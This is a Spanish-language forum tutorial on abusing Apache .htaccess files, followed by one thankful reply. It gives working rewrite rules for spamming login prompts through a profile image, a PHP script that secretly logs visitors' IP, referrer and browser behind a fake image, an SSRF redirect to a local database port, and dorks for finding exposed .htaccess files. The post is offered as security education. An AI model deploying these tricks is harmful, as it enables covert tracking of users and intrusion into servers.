Explotación de archivos .htaccess

  • 1 Respuestas
  • 5891 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Mortal_Poison

  • *
  • Ex-Staff
  • *****
  • Mensajes: 203
  • Actividad:
    0%
  • Country: co
  • Reputación 16
  • Become the change you seek in the world. -Gandhi.
  • Twitter: https://www.twitter.com/Mortal_Poison_
    • Ver Perfil
    • XECURE-LABS

Explotación de archivos .htaccess

  • en: Octubre 10, 2017, 08:21:41 pm
Hola a [email protected],

Éste es mi segundo post, ya que el que les iba a traer aún no lo termino  ::). Sin embargo, me propuse a postear algo interesante y creo que esto le servirá a muchas personas que quieren documentar/reportar/aprender sobre las explotaciones y post-explotaciones a los archivos .htaccess.

DEFINICIONES...

htaccess hace referencia a Hypertext Access. Es un archivo de configuración usado por servidores Apache. En éste archivo lo que se determinan son las reglas de cómo queremos que se comporte el servidor, indicándole los ajustes iniciales. Es usado muy común cuando deseamos proteger algún directorio en especial o incluso, no sé si han notado que muchos administradores de Joomla!, Wordpress, Drupal u otro CMS(Content Management System) los usan para que no accedan a sus paneles de administración.


Ilustración 1. Reglas de ejemplo para que restringir el acceso al panel de administración.



POP-UPS CONTINUOS A LOS USUARIOS

A continuación les muestro un ejemplo de un archivo .htaccess:

Código: [Seleccionar]
### MAIN DEFAULTS ###
Options +ExecCGI -Indexes
DirectoryIndex index.html index.htm index.php
DefaultLanguage en-US
AddDefaultCharset UTF-8
ServerSignature Off

Ejemplo tomado de htaccess.wordpress.com.

Me parece muy interesante dicho ejemplo, pues noten que tiene una regla llamada ServerSignature en modo Off, ésto, con el fin de ocultar y no permitir el banner grabbing de Apache. Si no sabes qué es el banner del servidor web de Apache, es cuando en fase de reconocimiento te das cuenta de que la aplicación web que estás auditando está alojada en Apache por sus cabeceras, devolviendote algo similar a:


Ilustración 2. Banners headers de Apache Web Server.

La técnica de los pop-ups realmente no es un peligro, sin embargo, es usado por muchos 'troles' que desean molestar los foros/sitios web y demás entornos donde se pueda subir una foto de perfil, avatar personalizado y también las famosas firmas.

En ésta técnica abusamos del mod_rewrite, cuyo fin es para designar y modificar el cómo se muestran las URL y las páginas web de tus sitios a tus usuarios. Palabras más, palabras menos, con él, podemos redireccionar. Un ejemplo  claro sería cuando tenemos:

URL: http://www.example.com/search/termino. El mod_rewrite se encargaría de convertir esa url a:
URL: http://www.example.com/cgi-bin/search-query.cgi?term=termino.

Para un ejemplo más sustancioso, haz de cuenta que tienes dos imágenes: publica.png y protegido.png. publica.png se almacenará en un directorio público, mientras que protegido.png se almacenará en un directorio protegido con su respectiva contraseña(por algo es protegido).

Teniendo en cuenta esto, nuestro archivo .htaccess quedaría de la siguiente manera:

Código: [Seleccionar]
Options +FollowSymlinks
RewriteEngine on
RewriteRule publica.png /protected-directory/protegido.png
AuthUserFile /home/usr/.htpasswd
AuthName “authentication name”
AuthType Basic
require user mortal

Explicando a groso modo, las anteriores reglas:
  • FollowSymlinks : cuando se trata de servidores web, no puedes dejar las cosas sin definir. Tienes que definir quién tiene acceso a qué. La regla de FollowSymlinks le dice a su servidor si debe o no seguir los enlaces simbólicos.
  • RewriteEngine : nos permite reescribir o redireccionar una URL.
  • Auth*(el asterisco indica todo lo que siga después de Auth) : apunta al archivo de contraseñas que creamos, en éste caso, el archivo se llama .htpasswd.
  • require user : Requiere a un usuario válido.

¿Notaron que estamos haciendo una redirección de publica.png a protegido.png, no? sino, ya casi lo norarán.
Como lo mencione, el archivo donde almacenamos las contraseñas(llamado .htpasswd) deberá estar configurado de la siguiente manera:
username:contraseñaEncriptada


El nombre de usuario claramente tendrá que coincidir con el nombre de usuario que agregó en el archivo .htaccess. La contraseña encriptada se puede realizar mediante la función de PHP Crypt(); sino, puedes usar generadores de contraseñas en línea.

Ahora, lo que podrías hacer es configurar como imagen de perfil/imagen de un foro o cualquier otro, la imagen publica.png. ¿Qué sucederá? cualquier persona que desee ver tu imagen le aparecerá repetidamente el aviso para incorporar el nombre de usuario y contraseña. Es un poco molesto la verdad, y ya se consideraría spam.


Ilustración 3. Diálogo que les abriría al intentar ver tu imagen.



FINGERPRINTING - IP  LOGGING

Similar a la técnica número uno, ésta técnica nos ofrece poder rastrear direcciones IP sin la interacción de los usuarios. Incluso, podríamos establecer que se descargue un fichero autoejecutable con evasiones de antivirus para que tengamos una conexión meterpreter :) (si el autorun no está habilitado[cosa que normalmente pasa >:(] podemos usar el USB Rubber Ducky o el más querido, BADUSB).

El hecho es que, dejando de lado lo del payload autoejecutable, la técnica realmente consiste en recopilar todo tipo de información sin que ellos sean conscientes.

Haríamos básicamente la misma redirección, solo que a nuestro fichero de .php:

Código: [Seleccionar]
Options +FollowSymlinks
RewriteEngine on
RewriteRule publica.png /path/to/mortal.php

Quizá, te estarás preguntando, ¿y el servidor 'víctima' cómo interpretará el archivo de mortal.php si pública.png lo redirecciona?. Entendámolo mejor.

Debemos engañar al servidor para que considere que hemos incluido una imagen válida. Desde el punto de vista de los servidores, ellos estarán haciendo una solicitud a un archivo de imagen. Generalmente los servidores no incluyen la imagen en la página(y mucho menos nuestro script de PHP). Como somos magos, debemos engañar al servidor para que considere que estamos incluyendo una imagen y no nuestro script de mortal.php.

Para engañarlo, basta con que hagamos uso de la gran función de php llamada imagecreate(). Así es, vamos a usar imágenes dinámicas de PHP para que el servidor crea que estamos incluyendo publica.png en lugar de mortal.php.

He implementado un pequeño script en PHP:

Código: PHP
  1. <?php
  2. /* Vamos a escribir en un archivo de html. */
  3. $log = 'data.html';
  4. /* Capturamos la ip de nuestra víctima. */
  5. $remote_ip = $_SERVER['REMOTE_ADDR'];
  6. /* Capturamos la URI actual de la página. */
  7. $page_URI = $_SERVER['REQUEST_URI'];
  8. /* Capturamos el referer, es decir, de dónde viene. */
  9. $refer_where = $_SERVER['HTTP_REFERER'];
  10. /* Día, mes, año y hora. Esto, por si deseamos tener más segmentado nuestra información */
  11. $date_time = date('l, F d y h:i:s');
  12. /* El navegador que está usando */
  13. $agent_get = $_SERVER['HTTP_USER_AGENT'];
  14.  
  15.  
  16. /* Abrimos nuestro archivo de data.html y comenzamos a insertar los datos */
  17. $fp = fopen("data.html", "a");
  18.    /* Se inserta la fecha, IP, la página, el referido y el user_agent. */
  19.    fputs($fp, "<b>$date_time</b><br>
  20.               <b>IP: </b>$remote_ip<br>
  21.            <b>Page_URI: </b>$page_URI<br>
  22.            <b>Refer: </b>$refer_where<br>
  23.            <b>Useragent:</b>$agent_get <br>
  24.            ####################################### <br><br>");
  25.    flock($fp, 3); /* Usamos bloqueo obligado a todo lo que contiene nuestra variable fp. */
  26.    /* Cerramos nuestro archivo */
  27.    fclose($fp);
  28.  
  29. /* Hacemos la magia */
  30.  
  31. /* imagecreate nos permite representar una imagen en blanco del tamaño especificado. imagecreate(ancho*alto). */
  32. $my_img_ = imagecreate(190 ,100);
  33. /* Rellenamos el color de fondo. */
  34. $background = imagecolorallocate( $my_img_, 121, 0, 255);
  35. $text_colour = imagecolorallocate( $my_img_, 200, 200, 0 );
  36. $line_colour = imagecolorallocate( $my_img_, 212, 233, 0 );
  37.  
  38. /* Dibujamos una cadena horizontalmente. */
  39. imagestring( $my_img_, 4, 30, 25, "For our victim...", $text_colour );
  40. /* Grosor de nuestra linea. */
  41. imagesetthickness ( $my_img_, 3);
  42. /* Color de nuestra línea */
  43. imageline( $my_img_, 30, 45, 165, 45, $line_colour );
  44. /* Lo admitido. */
  45. header( "Content-type: image/png" );
  46. /* Mostramos nuestra imagen. */
  47. imagepng( $my_img_ );
  48. /* Y procedemos a mostrar lo demás. */
  49. imagecolordeallocate( $line_color );
  50. imagecolordeallocate( $text_color );
  51. imagecolordeallocate( $background );
  52. /* No es necesario, pero vamos, es una buena práctica por si llegase a ser muy grande la imagen. */
  53. imagedestroy($my_img_);
  54.  
  55.  
  56. /* https://www.youtube.com/VIINVIDEOSHD */
  57. /* https://www.viinacademy.com */
  58. /* https://underc0de.org/foro/profile/mortal_poison */
  59. ?>
  60.  

Pueden testear como se ve la imagen que creamos en la siguiente URL: http://syframework.alwaysdata.net/5ul

Si notan, en el código existe una vulnerabilidad xD, simplemente quería hacer un poco de consciencia. La vulnerabilidad es un XSS persistente y se encuentra en el $_SERVER[‘HTTP_USER_AGENT’]; y bueno, la verdad es que para mitigar esto, cambien el data.html a data.txt.


Si no entienden algo del código, lo dejé comentado. En resumen, lo que hace el script es: cuando se presenta la imagen en el navegador de los usuarios, éste escribirá su agente de usuario, dirección IP, el encabezado de referencia y otra información útil. Imaginen cuánto daño se podría causar, desde saber de dónde se conectan las víctimas hasta diseñar payloads para los mismos.

Para finalizar, si llegases a establecer tu imagen de perfil publica.png, la secuencia de .htaccess redirigiría a la secuencia de comandos PHP ocasionando que el servidor piense que publica.png es mortal.php y nos suministre lo que deseamos :o.



Evasión de vulnerabilidades web

htaccess tiene varios usos para la evasión de filtros con respecto a las vulnerabilidades web. Comencemos con un vector de ataque de falsificación de solicitudes de servidor(SSRF).

Server-Side Request Forgery

He diseñado un diagrama que les dará a entender cómo funciona éste ataque(para los que no lo conocen):


Ilustración 4. Diagrama de un ataque SSRF.

Si aún no logras entender el diagrama, te explicaré de una forma más sustanciosa. Para propósitos de ejemplo, supongamos que tienes la web:
http://example.com/file.php?url=http://algunsitio.com

El parámetro ?url= está por método GET de HTTP, por tanto, podrías cambiar a:
http://example.com/file.php?url=http://127.0.0.1:3306

Recuerda que el puerto 3306 hace referencia(usualmente) a la base de datos. Asumiendo eso, ésto permitiría a un atacante la divulgación de archivos locales a través de SSRF, permitiendo leer contenido localmente. Hay muchas protecciones contra éste tipo de ataques, pero también muchas formas de hacer Bypass.

Por supuesto, podríamos lograr incluso RCE asumiendo que existen servicios como smb, sftp, gopher, memcached, entre otros.
Nuestro htaccess quedaría de la siguiente manera:

Código: [Seleccionar]
Options +FollowSymlinks
RewriteEngine on
RewriteRule publica.png http://127.0.0.1:3306

Redireccionamos de publica.png a la base de datos del localhost con el fin de que no se nos incluya en una blacklist si llegase a existir una protección directa. A pesar de que lo redireccioné al localhost, pueden hacerlo con otros archivos importantes, como por ejemplo: /etc/passwd,C:\WINDOWS\system32\config\SAM o C:\WINDOWS\system32\config\SYSTEM.

Tendríamos que hacer la llamada a nuestra imagen desde el sitio para que nos devuelva información que hemos solicitado mediante nuestro ataque de SSRF.


Tenemos que considerar el alcance que podría repercutir tener un fichero .htaccess a disposición de un atacante. Hagamos un poco de GHDB básico.


Ilustración 5. Dorks para encontrar .htaccess.

Si observan detalladamente, NO en todas las webs aparece como: http://example.com/htaccess.txt. Aparecen como:
  • 1.htaccess
  • a.htaccess
  • _1.htaccess
  • Old.htaccess
  • _____.htaccess

el .htaccess varía a menudo, quizá alguno que posea un poco más de tiempo, podría crear un script que con un diccionario de ese tipo de opciones(como la anterior lista) encuentre el .htaccess de una web.

Para terminar, desearía concluir que tener conocimiento de las reglas de .htaccess en cualquier web, permitirá a un atacante saber qué restricciones de seguridad existen y cuáles no. Por lo tanto, permitirá saber qué es lo que potencialmente necesita ser evitado y aprovecharse de ello. También puede revelar información sobre las tecnologías que se ejecutan en la website(importante).

Incluyendo que si por 'x' motivo un atacante tiene acceso limitado a un servidor, es decir, tiene permisos pero no puede editar archivos ni realizar otras acciones, pero tiene la capacidad de editar el .htaccess repercutirá en un grave problema de seguridad(tan así, que hasta se puede subir una webshell).

En otro post podría poner de cómo tener más alcance con esto.

Espero que les haya gustado el post.
Cualquier duda/sugerencia/aporte pueden escribirlo por este medio.

Muchas gracias por leer.

Un saludo.

Me pueden encontrar en:
https://www.viinacademy.com.
https://www.youtube.com/VIINVIDEOSHD.


GLOSARIO:

Banner grabbing: obtener información sobre el servidor donde reside la aplicación web, llegando al punto de relacionarse con Fingerprinting.
RCE: Ejecución de código remoto. Es una vulnerabilidad para ejecutar cualquier comando en una máquina de destino o en un proceso de destino.
Bypass: Saltarse una medida de protección.
GHDB: Google Hacking Database.

« Última modificación: Octubre 11, 2017, 03:26:21 pm por Mortal_Poison »
Become the change you seek in the world. -Gandhi.


Desconectado Bytebreaker

  • *
  • Underc0der
  • Mensajes: 1
  • Actividad:
    0%
  • Reputación 0
  • INSERT INTO LIFE VALUES ('GIRLFRIEND' ,'KNOWLED');
    • Ver Perfil

Re:Explotación de archivos .htaccess

  • en: Diciembre 20, 2017, 05:37:54 am
Ey , buena información para la gente que empieza en esto.
Gracias por tu aporte!
"Si piensas que la tecnología puede solucionar tus problemas de seguridad, está claro que ni entiendes los problemas ni entiendes la tecnología"
-- Bruce Schneier

 

MeeroDrop - espacio seguro para compartir archivos

Iniciado por Denisse

Respuestas: 0
Vistas: 211
Último mensaje Noviembre 26, 2020, 06:59:03 pm
por Denisse
Shellray - Análisis de archivos PHP sospechosos.

Iniciado por HATI

Respuestas: 2
Vistas: 3680
Último mensaje Febrero 07, 2017, 11:19:23 pm
por s0ul0fh4ck
Explotación de las malas prácticas de desarrollo

Iniciado por Mortal_Poison

Respuestas: 1
Vistas: 4652
Último mensaje Julio 12, 2018, 02:50:47 pm
por LKI
Proteger nuestro server web de ataques con .htaccess

Iniciado por july

Respuestas: 17
Vistas: 10066
Último mensaje Enero 13, 2021, 07:54:41 am
por stemprinting